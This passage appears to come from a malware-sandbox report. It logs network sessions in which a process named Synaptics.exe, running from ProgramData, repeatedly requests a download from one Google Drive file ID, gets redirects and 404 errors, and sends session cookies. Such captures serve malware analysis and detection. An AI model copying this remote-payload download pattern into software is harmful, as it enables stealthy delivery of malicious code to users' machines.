28	192.168.2.8	49766	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:07 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-5dISubznD7LDBfWIoBTADw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49765	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:07 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-dhDOABuDx1nxlzx2j-Srng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49767	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:08 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:08 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:08 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EDnhaB2QdCRW50p9_tVQEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNECBOwHM70XaewUGKP6dEV1OQooPHzMNYvGZfxIg7GVoXBCHPC_cQJ-Mno5YIWnDEI2_w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:08 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:08 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 5f 74 58 72 33 48 63 5f 48 64 4b 6f 51 38 46 30 62 52 39 6b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="l_tXr3Hc_HdKoQ8F0bR9kg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:08 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49769	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-IkKpyI48Si4REzSp1tOcoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49768	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4hiCMwOvar26ksTqStz1vQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49770	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:08 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:08 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:08 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-UWO_6QZTQ9fp5sGIVfYSag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPFQC3Kw9MiVtpru_3a_CuP4bVGoIb6XzsqOMeuYME9--E8VYMadOb4uDLJ46EIxh5X5X-u_SJuWQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:08 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:08 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 61 39 6b 47 75 58 34 67 49 57 4c 53 31 77 36 5a 73 41 76 32 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="za9kGuX4gIWLS1w6ZsAv2g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:08 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49772	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:09 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-kNudx-V_UQblzrEaDaQAKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49774	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:09 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI
2024-07-25 19:55:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-dNq-sXJnu0msAkoS03MQkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49773	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:09 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:09 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:09 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-PXg38c84orimqrNGhTKWug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nMhB5jeT_ox3bC2WyNwzcdb1gJvc595_ZjC3Fn3N_H7W3DCvp0i-31azbIFZaZNbtf6hYU Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:09 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:09 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 33 37 35 68 74 45 6a 66 36 63 4e 35 34 59 56 62 76 4b 64 42 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="O375htEjf6cN54YVbvKdBg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:09 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49775	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:09 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:09 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:09 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-ut8XIHuNYw-pJa0H34MUgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOeRvld2YctQSkipt_39GWBlhRfiGWyB-YtVuOdjKXNRhmu5D_wIxy24lZYAus4F2W_qPc Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts 